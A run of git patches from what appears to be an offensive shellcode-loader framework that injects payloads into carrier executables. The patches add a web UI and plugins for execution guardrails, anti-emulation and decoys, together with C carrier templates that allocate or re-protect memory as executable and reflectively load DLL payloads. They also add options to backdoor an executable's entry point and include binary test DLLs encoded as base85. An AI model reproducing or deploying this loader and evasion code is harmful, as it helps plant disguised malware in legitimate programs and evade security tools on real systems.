phases.injector.inject_exe(full_shellcode, settings, project.carrier, project) #observer.add_code_file("exe_final", extract_code_from_exe_file_ep(settings.inject_exe_out, 300)) # Check binary with avred From 434c0993653f61b44dca984bef432db4087e51fe Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Sun, 16 Jun 2024 17:49:36 +0200 Subject: [PATCH 14/37] ui: make nicer + plugins --- app/templates/project.html | 297 ++++++++++++++------- app/views_project.py | 30 ++- data/source/carrier/alloc_rw_rx/template.c | 12 - data/source/guardrails/env.c | 11 + data/source/guardrails/none.c | 0 model/defs.py | 7 +- model/settings.py | 1 + phases/templater.py | 11 +- 8 files changed, 259 insertions(+), 110 deletions(-) create mode 100644 data/source/guardrails/env.c create mode 100644 data/source/guardrails/none.c diff --git a/app/templates/project.html b/app/templates/project.html index e4d57dd..fc0d4c6 100644 --- a/app/templates/project.html +++ b/app/templates/project.html @@ -7,24 +7,19 @@ {% include 'navigation.html' %}
- -

{{project_name}}

-
- -
-
-
- -
-
- -
-
+
+ +
+ +
+ +
+ +
{% if is_built %} -
@@ -37,40 +32,62 @@ {% endif %} -
{% endif %}
- -
+
- - - - - - - + + + + + +
+ + +
+ +
+
+ + +
+ +
+ +
+
+ + {% if exports != [] %} {% endif %} - EXE INFO
- {% if is_64 %} - x64: {{ is_64 }} - {% else %} - x64: {{ is_64 }} - {% endif %} - / Dotnet: {{ is_dotnet}}
- .text: {{ code_sect_size}}
- .rdata: {{ data_sect_size}} - (max: {{ data_sect_largest_gap_size}})
- {% if not has_rodata_section %} - No .rdata section
- {% endif %} + EXE Info: +
    +
  • + {% if is_64 %} + x64: {{ is_64 }} + {% else %} + x64: {{ is_64 }} + {% endif %} +
  • + +
  • + Dotnet: {{ is_dotnet}} +
  • + +
  • + .text: {{ code_sect_size}} +
  • + +
  • + .rdata: {{ data_sect_size}} + (max: {{ data_sect_largest_gap_size}}) +
  • + + {% if not has_rodata_section %} +
  • + No .rdata section
    +
  • + {% endif %} +
{% if unresolved_dlls|length > 0 %}
@@ -108,37 +141,59 @@ {% endfor %} {% endif %} +
-
- +
+
+ +
+ +
+
- +
+ +
+ +
+
- -
+
+ +
+ +
+
- -
@@ -146,24 +201,84 @@ Add missing IAT entries
+
- + +
+
+ +
+ +
+
+ +
+ +
+ +
+
+ +
+ +
+ +
+
+ +
+ +
+ +
+
-
- {{ project_dir }}
-
-
+
diff --git a/app/views_project.py b/app/views_project.py index 5cc6989..53d2fe7 100644 --- a/app/views_project.py +++ b/app/views_project.py @@ -102,6 +102,10 @@ def project(name): carrier_invoke_styles = [(color.name, color.value) for color in CarrierInvokeStyle] payload_locations = [(color.name, color.value) for color in PayloadLocation] + guardrail_styles = list_files(PATH_GUARDRAILS) + antiemulation_styles = list_files(PATH_ANTIEMULATION) + decoy_styles = list_files(PATH_DECOY) + return render_template('project.html', project_name = name, project=project, @@ -128,6 +132,10 @@ def project(name): has_remote=has_remote, fix_missing_iat=project.settings.fix_missing_iat, + + guardrailstyles = guardrail_styles, + antiemulationstyles = antiemulation_styles, + decoystyles = decoy_styles, ) @@ -145,6 +153,16 @@ def list_files_and_sizes(directory, prepend=""): return files_and_sizes +def list_files(directory, prepend="") -> List[str]: + files = [] + for filename in os.listdir(directory): + filepath = os.path.join(directory, filename) + if os.path.isfile(filepath): + filename = filename.replace(".c", "") + files.append(filename) + return files + + @views_project.route("/project_add", methods=['POST', 'GET']) def add_project(): if request.method == 'POST': @@ -177,8 +195,16 @@ def add_project(): settings.fix_missing_iat = True if request.form.get('fix_missing_iat') != None else False - carrier_name = request.form['carrier_name'] - settings.carrier_name = carrier_name + settings.carrier_name = request.form['carrier_name'] + + settings.plugin_antiemulation = request.form['antiemulation'] + settings.plugin_decoy = request.form['decoy'] + settings.plugin_guardrail = request.form['guardrail'] + logger.info("E: {} D: {} G: {}".format( + settings.plugin_antiemulation, + settings.plugin_decoy, + settings.plugin_guardrail + )) carrier_invoke_style = request.form['carrier_invoke_style'] settings.carrier_invoke_style = CarrierInvokeStyle[carrier_invoke_style] diff --git a/data/source/carrier/alloc_rw_rx/template.c b/data/source/carrier/alloc_rw_rx/template.c index 5b95a5b..04dccd4 100644 --- a/data/source/carrier/alloc_rw_rx/template.c +++ b/data/source/carrier/alloc_rw_rx/template.c @@ -20,18 +20,6 @@ char *supermega_payload; int main() { - // Execution Guardrail: Env Check - wchar_t envVarName[] = L"USERPROFILE"; - wchar_t tocheck[] = L"C:\\Users\\"; - WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency! - DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024); - if (result == 0) { - return 6; - } - if (mystrcmp(buffer, tocheck) != 0) { - return 6; - } - // Depends on plugin_antiemulation antiemulation(); diff --git a/data/source/guardrails/env.c b/data/source/guardrails/env.c new file mode 100644 index 0000000..17741f8 --- /dev/null +++ b/data/source/guardrails/env.c @@ -0,0 +1,11 @@ + // Execution Guardrail: Env Check + wchar_t envVarName[] = L"USERPROFILE"; + wchar_t tocheck[] = L"C:\\Users\\"; + WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency! + DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024); + if (result == 0) { + return 6; + } + if (mystrcmp(buffer, tocheck) != 0) { + return 6; + } \ No newline at end of file diff --git a/data/source/guardrails/none.c b/data/source/guardrails/none.c new file mode 100644 index 0000000..e69de29 diff --git a/model/defs.py b/model/defs.py index f8ee147..daba564 100644 --- a/model/defs.py +++ b/model/defs.py @@ -17,6 +17,7 @@ PATH_PAYLOAD = "data/source/payload/" PATH_DECODER = "data/source/decoder/" PATH_ANTIEMULATION = "data/source/antiemulation/" PATH_DECOY = "data/source/decoy/" +PATH_GUARDRAILS = "data/source/guardrails/" PATH_WEB_PROJECT = "projects/" @@ -30,13 +31,13 @@ class DecoderStyle(Enum): class PayloadLocation(Enum): - CODE = "code" - DATA = "data" + CODE = ".text" + DATA = ".rdata" class CarrierInvokeStyle(Enum): ChangeEntryPoint = "change EntryPoint" - BackdoorCallInstr = "hijack Main" + BackdoorCallInstr = "backdoor Entrypoint" class FunctionInvokeStyle(Enum): diff --git a/model/settings.py b/model/settings.py index 35817b9..2dc8fbd 100644 --- a/model/settings.py +++ b/model/settings.py @@ -16,6 +16,7 @@ class Settings(): self.plugin_antiemulation = "none" self.plugin_decoy = "none" + self.plugin_guardrail = "none" self.dllfunc: str = "" # For DLL injection diff --git a/phases/templater.py b/phases/templater.py index e23cb03..44c0185 100644 --- a/phases/templater.py +++ b/phases/templater.py @@ -27,7 +27,13 @@ def create_c_from_template(settings: Settings, payload_len: int): PATH_DECODER, settings.main_c_path)) plugin_decoder = "" - # Decoder + # Plugin: Execution Guardrails + filepath_guardrails = PATH_GUARDRAILS + "{}.c".format( + settings.plugin_guardrail) + with open(filepath_guardrails, "r", encoding='utf-8') as file: + plugin_guardrails = file.read() + + # Plugin: Decoder filepath_decoder = PATH_DECODER + "{}.c".format( settings.decoder_style.value) with open(filepath_decoder, "r", encoding='utf-8') as file: @@ -48,7 +54,7 @@ def create_c_from_template(settings: Settings, payload_len: int): filepath_decoy = PATH_DECOY + "{}.c".format( settings.plugin_decoy) with open(filepath_decoy, "r", encoding='utf-8') as file: - plugin_decoy = file.read() + plugin_decoy = file.read() # Choose template dirpath = PATH_CARRIER + settings.carrier_name + "/template.c" @@ -61,6 +67,7 @@ def create_c_from_template(settings: Settings, payload_len: int): 'plugin_decoder': plugin_decoder, 'plugin_antiemulation': plugin_antiemualation, 'plugin_decoy': plugin_decoy, + 'plugin_guardrails': plugin_guardrails, 'PAYLOAD_LEN': payload_len, }) with open(settings.main_c_path, "w", encoding='utf-8') as file: From b5641214e2978b070f7a265504d35e3e7cf77f20 Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Mon, 17 Jun 2024 05:52:56 +0200 Subject: [PATCH 15/37] refactor: fix carrier & templates (modularize) --- data/source/carrier/alloc_rw_rwx/template.c | 37 ++++++------------- data/source/carrier/alloc_rw_rx/template.c | 28 +++++++------- data/source/carrier/change_rwx_rx/template.c | 18 +++++++++ .../carrier/dll_loader_alloc/template.c | 22 ++++++++++- .../carrier/dll_loader_change/template.c | 35 ++++++++++-------- data/source/decoy/none.c | 4 ++ data/source/decoy/winexec.c | 5 ++- data/source/guardrails/env.c | 20 +++++++++- data/source/guardrails/none.c | 3 ++ phases/templater.py | 2 +- 10 files changed, 116 insertions(+), 58 deletions(-) diff --git a/data/source/carrier/alloc_rw_rwx/template.c b/data/source/carrier/alloc_rw_rwx/template.c index 76cadac..8239785 100644 --- a/data/source/carrier/alloc_rw_rwx/template.c +++ b/data/source/carrier/alloc_rw_rwx/template.c @@ -17,28 +17,25 @@ char *supermega_payload; {{plugin_antiemulation}} +{{plugin_decoy}} + +{{plugin_executionguardrail}} + int main() { - // Execution Guardrail: Env Check - wchar_t envVarName[] = L"USERPROFILE"; - wchar_t tocheck[] = L"C:\\Users\\"; - WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency! - DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024); - if (result == 0) { - return 6; - } - if (mystrcmp(buffer, tocheck) != 0) { - return 6; + DWORD result; + + // Call: Execution Guardrail + if (executionguardrail() != 0) { + return 1; } - // Depends on plugin_antiemulation + // Call: Anti Emulation plugin antiemulation(); - // Decoy - {{plugin_decoy}} - - //WinExec("C:\\windows\\system32\\notepad.exe", 1); + // Call: Decoy plugin + decoy(); // Allocate 1 // char *dest = ... @@ -62,13 +59,3 @@ int main() return 0; } -int mystrcmp(wchar_t* str1, wchar_t* str2) { - int i = 0; - while (str1[i] != L'\0' && str2[i] != L'\0') { - if (str1[i] != str2[i]) { - return 1; - } - i++; - } - return 0; -} diff --git a/data/source/carrier/alloc_rw_rx/template.c b/data/source/carrier/alloc_rw_rx/template.c index 04dccd4..4723cc4 100644 --- a/data/source/carrier/alloc_rw_rx/template.c +++ b/data/source/carrier/alloc_rw_rx/template.c @@ -11,6 +11,11 @@ char *supermega_payload; {{plugin_antiemulation}} +{{plugin_decoy}} + +{{plugin_executionguardrail}} + + /* iat_reuse_rx Standard IAT reuse shellcode @@ -20,11 +25,18 @@ char *supermega_payload; int main() { - // Depends on plugin_antiemulation + DWORD result; + + // Call: Execution Guardrail + if (executionguardrail() != 0) { + return 1; + } + + // Call: Anti Emulation plugin antiemulation(); - // Decoy - {{plugin_decoy}} + // Call: Decoy plugin + decoy(); // Allocate 1 // char *dest = ... @@ -48,13 +60,3 @@ int main() return 0; } -int mystrcmp(wchar_t* str1, wchar_t* str2) { - int i = 0; - while (str1[i] != L'\0' && str2[i] != L'\0') { - if (str1[i] != str2[i]) { - return 1; - } - i++; - } - return 0; -} diff --git a/data/source/carrier/change_rwx_rx/template.c b/data/source/carrier/change_rwx_rx/template.c index 5251a73..8ffc5bb 100644 --- a/data/source/carrier/change_rwx_rx/template.c +++ b/data/source/carrier/change_rwx_rx/template.c @@ -15,11 +15,29 @@ char *supermega_payload; * does (rw/rx) -> rwx -> rx */ +{{plugin_antiemulation}} + +{{plugin_decoy}} + +{{plugin_executionguardrail}} + + int main() { DWORD result; char *dest = supermega_payload; + // Call: Execution Guardrail + if (executionguardrail() != 0) { + return 1; + } + + // Call: Anti Emulation plugin + antiemulation(); + + // Call: Decoy plugin + decoy(); + // Note: RWX if carrier and payload are on the same page (or we cant exec copy..) // can do only RW otherwise? for(int n=0; n<({{PAYLOAD_LEN}}/4096)+1; n++) { diff --git a/data/source/carrier/dll_loader_alloc/template.c b/data/source/carrier/dll_loader_alloc/template.c index 4df2b7b..f015eec 100644 --- a/data/source/carrier/dll_loader_alloc/template.c +++ b/data/source/carrier/dll_loader_alloc/template.c @@ -143,9 +143,29 @@ DWORD_PTR load_dll(LPVOID dllBytes, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) { } +{{plugin_antiemulation}} + +{{plugin_decoy}} + +{{plugin_executionguardrail}} + + int main() { - char* dest = VirtualAlloc(0, {{PAYLOAD_LEN}}, 0x3000, PAGE_EXECUTE_READWRITE); + char* dest = NULL; + + // Call: Execution Guardrail + if (executionguardrail() != 0) { + return 1; + } + + // Call: Anti Emulation plugin + antiemulation(); + + // Call: Decoy plugin + decoy(); + + dest = VirtualAlloc(0, {{PAYLOAD_LEN}}, 0x3000, PAGE_EXECUTE_READWRITE); // FROM supermega_payload[] // TO dest[] diff --git a/data/source/carrier/dll_loader_change/template.c b/data/source/carrier/dll_loader_change/template.c index 9fb9c63..0e4f3e8 100644 --- a/data/source/carrier/dll_loader_change/template.c +++ b/data/source/carrier/dll_loader_change/template.c @@ -122,8 +122,6 @@ DWORD_PTR load_dll(LPVOID dllBase, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) { for (DWORD i = 0; i < relocationsCount; i++) { relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY); - - // THIZ if (relocationEntries[i].Type == 0) { continue; @@ -134,15 +132,11 @@ DWORD_PTR load_dll(LPVOID dllBase, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) { //ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL); DWORD_PTR* addressToPatch = (DWORD_PTR*)((BYTE*)dllBase + relocationRVA); //DWORD_PTR value = *addressToPatch; - *addressToPatch += deltaImageBase; //mymemcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR)); - } } - MessageBoxW(0, L"AAA2", L"AAA2", MB_OK); - // resolve import address table PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL; IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; @@ -187,26 +181,35 @@ DWORD_PTR load_dll(LPVOID dllBase, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) { } +{{plugin_antiemulation}} + +{{plugin_decoy}} + +{{plugin_executionguardrail}} + + int main() { - // char* dest = VirtualAlloc(0, {{PAYLOAD_LEN}}, 0x3000, PAGE_EXECUTE_READWRITE); - //char* dest = VirtualAlloc(0, 0x7000, 0x3000, PAGE_EXECUTE_READWRITE); char* dest = supermega_payload; DWORD protect, oldProtect; - protect = PAGE_EXECUTE_READWRITE; - VirtualProtect((LPVOID)dest, 0x7000, protect, &oldProtect); - MessageBoxW(0, L"ok virtualprotect", L"AAA2", MB_OK); + // Call: Execution Guardrail + if (executionguardrail() != 0) { + return 1; + } + // Call: Anti Emulation plugin + antiemulation(); + + // Call: Decoy plugin + decoy(); + + VirtualProtect((LPVOID)dest, 0x7000, PAGE_EXECUTE_READWRITE, &oldProtect); // FROM supermega_payload[] // TO dest[] // Including decryption -{{ plugin_decoder }} - - - MessageBoxW(0, L"ok copy", L"AAA2", MB_OK); - + {{ plugin_decoder }} // Load the DLL at dest DWORD_PTR dllBase; diff --git a/data/source/decoy/none.c b/data/source/decoy/none.c index e69de29..1e28abf 100644 --- a/data/source/decoy/none.c +++ b/data/source/decoy/none.c @@ -0,0 +1,4 @@ + +void decoy() { + // None +} \ No newline at end of file diff --git a/data/source/decoy/winexec.c b/data/source/decoy/winexec.c index 2519f91..99904c6 100644 --- a/data/source/decoy/winexec.c +++ b/data/source/decoy/winexec.c @@ -1 +1,4 @@ -WinExec("C:\\windows\\system32\\notepad.exe", 1); \ No newline at end of file + +void decoy() { + WinExec("C:\\windows\\system32\\notepad.exe", 1); +} diff --git a/data/source/guardrails/env.c b/data/source/guardrails/env.c index 17741f8..d98755c 100644 --- a/data/source/guardrails/env.c +++ b/data/source/guardrails/env.c @@ -1,3 +1,18 @@ + + +int mystrcmp(wchar_t* str1, wchar_t* str2) { + int i = 0; + while (str1[i] != L'\0' && str2[i] != L'\0') { + if (str1[i] != str2[i]) { + return 1; + } + i++; + } + return 0; +} + + +int executionguardrail() { // Execution Guardrail: Env Check wchar_t envVarName[] = L"USERPROFILE"; wchar_t tocheck[] = L"C:\\Users\\"; @@ -8,4 +23,7 @@ } if (mystrcmp(buffer, tocheck) != 0) { return 6; - } \ No newline at end of file + } + return 0; +} + diff --git a/data/source/guardrails/none.c b/data/source/guardrails/none.c index e69de29..aa67afe 100644 --- a/data/source/guardrails/none.c +++ b/data/source/guardrails/none.c @@ -0,0 +1,3 @@ +int executionguardrail() { + // None +} \ No newline at end of file diff --git a/phases/templater.py b/phases/templater.py index 44c0185..e76da2b 100644 --- a/phases/templater.py +++ b/phases/templater.py @@ -67,7 +67,7 @@ def create_c_from_template(settings: Settings, payload_len: int): 'plugin_decoder': plugin_decoder, 'plugin_antiemulation': plugin_antiemualation, 'plugin_decoy': plugin_decoy, - 'plugin_guardrails': plugin_guardrails, + 'plugin_executionguardrail': plugin_guardrails, 'PAYLOAD_LEN': payload_len, }) with open(settings.main_c_path, "w", encoding='utf-8') as file: From 4f36e855632d2da3f2a93b043d8b318d450c5e0a Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Mon, 17 Jun 2024 09:26:05 +0200 Subject: [PATCH 16/37] fix: templates bug --- data/source/carrier/dll_loader_change/template.c | 6 +----- data/source/guardrails/none.c | 1 + model/settings.py | 2 +- supermega.py | 5 +++-- 4 files changed, 6 insertions(+), 8 deletions(-) diff --git a/data/source/carrier/dll_loader_change/template.c b/data/source/carrier/dll_loader_change/template.c index 0e4f3e8..2d1382c 100644 --- a/data/source/carrier/dll_loader_change/template.c +++ b/data/source/carrier/dll_loader_change/template.c @@ -42,9 +42,6 @@ void mymemcpy(void* dest, const void* src, size_t n) { DWORD_PTR load_dll(LPVOID dllBase, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) { - // get this module's image base address - //PVOID imageBase = GetModuleHandleA(NULL); - // dllBase is expected to be page-aligned if ((DWORD_PTR)dllBase & 0xFFF) { @@ -55,7 +52,6 @@ DWORD_PTR load_dll(LPVOID dllBase, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) { PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBase; PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + dosHeaders->e_lfanew); SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage; - DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase; /* @@ -204,7 +200,7 @@ int main() // Call: Decoy plugin decoy(); - VirtualProtect((LPVOID)dest, 0x7000, PAGE_EXECUTE_READWRITE, &oldProtect); + VirtualProtect((LPVOID)dest, {{PAYLOAD_LEN}}, PAGE_EXECUTE_READWRITE, &oldProtect); // FROM supermega_payload[] // TO dest[] diff --git a/data/source/guardrails/none.c b/data/source/guardrails/none.c index aa67afe..fcd3621 100644 --- a/data/source/guardrails/none.c +++ b/data/source/guardrails/none.c @@ -1,3 +1,4 @@ int executionguardrail() { // None + return 0; // All OK } \ No newline at end of file diff --git a/model/settings.py b/model/settings.py index 2dc8fbd..507e644 100644 --- a/model/settings.py +++ b/model/settings.py @@ -35,7 +35,7 @@ class Settings(): self.generate_shc_from_asm: bool = True # More - self.fix_missing_iat = False + self.fix_missing_iat = True self.payload_location = PayloadLocation.DATA # directories and filenames diff --git a/supermega.py b/supermega.py index a426605..82487a4 100644 --- a/supermega.py +++ b/supermega.py @@ -146,9 +146,10 @@ def start_real(settings: Settings): project.settings.decoder_style.value, project.settings.carrier_invoke_style.value)) - logger.info("---[ Plugins: AntiEmulation={} Decoy={}".format( + logger.info("---[ Plugins: AntiEmulation={} Decoy={} Guardrail={}".format( project.settings.plugin_antiemulation, - project.settings.plugin_decoy) + project.settings.plugin_decoy, + project.settings.plugin_guardrail) ) # FIXUP DLL Payload From a5cd3309b71e970f5f72b2e2a183ef7cef26b908 Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Mon, 17 Jun 2024 09:27:02 +0200 Subject: [PATCH 17/37] tests: add dll_loader tests --- data/binary/shellcodes/createfile.dll | Bin 0 -> 11776 bytes data/binary/shellcodes/messagebox.dll | Bin 0 -> 10752 bytes tester.py | 30 ++++++++++++++++++++++++-- 3 files changed, 28 insertions(+), 2 deletions(-) create mode 100644 data/binary/shellcodes/createfile.dll create mode 100644 data/binary/shellcodes/messagebox.dll diff --git a/data/binary/shellcodes/createfile.dll b/data/binary/shellcodes/createfile.dll new file mode 100644 index 0000000000000000000000000000000000000000..fb045563daaf4027bd0488ec74f77cecd0d7e39e GIT binary patch literal 11776 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 literal 0 HcmV?d00001 diff --git a/data/binary/shellcodes/messagebox.dll b/data/binary/shellcodes/messagebox.dll new file mode 100644 index 0000000000000000000000000000000000000000..c4517175432ebd1d7df7a0ce6bdb0fdba72ebdc9 GIT binary patch literal 10752 zcmeHN4RBOdmcE_jB_Yss&@>bA@1dPZP?BxZ5&1DgH%atG8;v1B1_GU?^8&4%?ym0F z5L~7V(?n?=?K0!I;^=JgGrOg`))emg6JqV!A&f}`b|5-4ATbD^kMiM2Xm!Nf#{0a%U`XOuiF_m$qTc|}WGn?~l zM$>klbQj0sB#@+7YUt= z?a?|U2C12`nSi?6nbsAFu9fm{L)EeMc%!{*DMMB!iR}_lu;4)^Q#Qr{N=rO?FN?Hz zB`?;C86pVSWaI+mG0BOp%XBrinH*zBhOZcG8k?LLZdq7Y)W!&brk7qMhBCy?vPd-I z1F!i6zR~o)Z73Mv)bzwa2#Vw*@|C6s-;PaA#ukp{zlpSKFTB9qN$!~`nDnIe6@X(v 